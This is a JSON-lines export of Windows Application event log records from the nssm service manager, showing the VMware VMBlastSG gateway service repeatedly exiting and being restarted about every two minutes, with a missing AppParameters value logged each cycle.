{"@timestamp":1646713849686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147068","0"]}}},"module":"Application","provider":"nssm","sequence":159348}}
{"@timestamp":1646713849686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147068","147068","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159349}}
{"@timestamp":1646713849702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155200","0"]}}},"module":"Application","provider":"nssm","sequence":159350}}
{"@timestamp":1646713849702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155200","147068","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159351}}
{"@timestamp":1646713849717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159352}}
{"@timestamp":1646713849718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159353}}
{"@timestamp":1646713849718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159354}}
{"@timestamp":1646713849719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159355}}
{"@timestamp":1646713978357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159356}}
{"@timestamp":1646713978358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159357}}
{"@timestamp":1646713978359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156608","0"]}}},"module":"Application","provider":"nssm","sequence":159358}}
{"@timestamp":1646713978360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156608","156608","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159359}}
{"@timestamp":1646713978376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159360}}
{"@timestamp":1646713978376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159361}}
{"@timestamp":1646713978377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159362}}
{"@timestamp":1646713978379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159363}}
{"@timestamp":1646714106857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159364}}
{"@timestamp":1646714106859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159365}}
{"@timestamp":1646714106859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","130560","0"]}}},"module":"Application","provider":"nssm","sequence":159366}}
{"@timestamp":1646714106860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["130560","130560","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159367}}
{"@timestamp":1646714106875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159368}}
{"@timestamp":1646714106876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159369}}
{"@timestamp":1646714106876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159370}}
{"@timestamp":1646714106877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159371}}
{"@timestamp":1646714235376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159372}}
{"@timestamp":1646714235378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159373}}
{"@timestamp":1646714235379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153952","0"]}}},"module":"Application","provider":"nssm","sequence":159374}}
{"@timestamp":1646714235379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153952","153952","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159375}}
{"@timestamp":1646714235396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159376}}
{"@timestamp":1646714235396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159377}}
{"@timestamp":1646714235397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159378}}
{"@timestamp":1646714235398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159379}}
{"@timestamp":1646714363890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159380}}
{"@timestamp":1646714363892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159381}}
{"@timestamp":1646714363892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155232","0"]}}},"module":"Application","provider":"nssm","sequence":159382}}
{"@timestamp":1646714363893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155232","155232","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159383}}
{"@timestamp":1646714363910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159384}}
{"@timestamp":1646714363910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159385}}
{"@timestamp":1646714363911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159386}}
{"@timestamp":1646714363912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159387}}
{"@timestamp":1646714492412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159388}}
{"@timestamp":1646714492413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159389}}
{"@timestamp":1646714492414,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151796","0"]}}},"module":"Application","provider":"nssm","sequence":159390}}
{"@timestamp":1646714492414,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151796","151796","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159391}}
{"@timestamp":1646714492432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159392}}
{"@timestamp":1646714492432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159393}}
{"@timestamp":1646714492433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159394}}
{"@timestamp":1646714492434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159395}}
{"@timestamp":1646714621062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159396}}
{"@timestamp":1646714621063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159397}}
{"@timestamp":1646714621064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155792","0"]}}},"module":"Application","provider":"nssm","sequence":159398}}
{"@timestamp":1646714621064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155792","155792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159399}}
{"@timestamp":1646714621080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159400}}
{"@timestamp":1646714621081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159401}}
{"@timestamp":1646714621081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159402}}
{"@timestamp":1646714621082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159403}}
{"@timestamp":1646714749643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159404}}
{"@timestamp":1646714749645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159405}}
{"@timestamp":1646714749646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","132600","0"]}}},"module":"Application","provider":"nssm","sequence":159406}}
{"@timestamp":1646714749647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["132600","132600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159407}}
{"@timestamp":1646714749665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159408}}
{"@timestamp":1646714749665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159409}}
{"@timestamp":1646714749666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159410}}
{"@timestamp":1646714749667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159411}}
{"@timestamp":1646714878267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159412}}
{"@timestamp":1646714878268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159413}}
{"@timestamp":1646714878272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155508","0"]}}},"module":"Application","provider":"nssm","sequence":159414}}
{"@timestamp":1646714878272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155508","155508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159415}}
{"@timestamp":1646714878289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159416}}
{"@timestamp":1646714878289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159417}}
{"@timestamp":1646714878290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159418}}
{"@timestamp":1646714878291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159419}}
{"@timestamp":1646715006772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159420}}
{"@timestamp":1646715006773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159421}}
{"@timestamp":1646715006774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155852","0"]}}},"module":"Application","provider":"nssm","sequence":159422}}
{"@timestamp":1646715006774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155852","155852","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159423}}
{"@timestamp":1646715006791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159424}}
{"@timestamp":1646715006791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159425}}
{"@timestamp":1646715006792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159426}}
{"@timestamp":1646715006793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159427}}
{"@timestamp":1646715135326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159428}}
{"@timestamp":1646715135328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159429}}
{"@timestamp":1646715135328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152660","0"]}}},"module":"Application","provider":"nssm","sequence":159430}}
{"@timestamp":1646715135329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152660","152660","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159431}}
{"@timestamp":1646715135345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159432}}
{"@timestamp":1646715135346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159433}}
{"@timestamp":1646715135346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159434}}
{"@timestamp":1646715135347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159435}}
{"@timestamp":1646715263849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159436}}
{"@timestamp":1646715263850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159437}}
{"@timestamp":1646715263851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155076","0"]}}},"module":"Application","provider":"nssm","sequence":159438}}
{"@timestamp":1646715263851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155076","155076","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159439}}
{"@timestamp":1646715263868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159440}}
{"@timestamp":1646715263869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159441}}
{"@timestamp":1646715263870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159442}}
{"@timestamp":1646715263871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159443}}
{"@timestamp":1646715392638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159444}}
{"@timestamp":1646715392640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159445}}
{"@timestamp":1646715392641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155900","0"]}}},"module":"Application","provider":"nssm","sequence":159446}}
{"@timestamp":1646715392641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155900","155900","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159447}}
{"@timestamp":1646715392658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159448}}
{"@timestamp":1646715392659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159449}}
{"@timestamp":1646715392659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159450}}
{"@timestamp":1646715392660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159451}}
{"@timestamp":1646715521564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159452}}
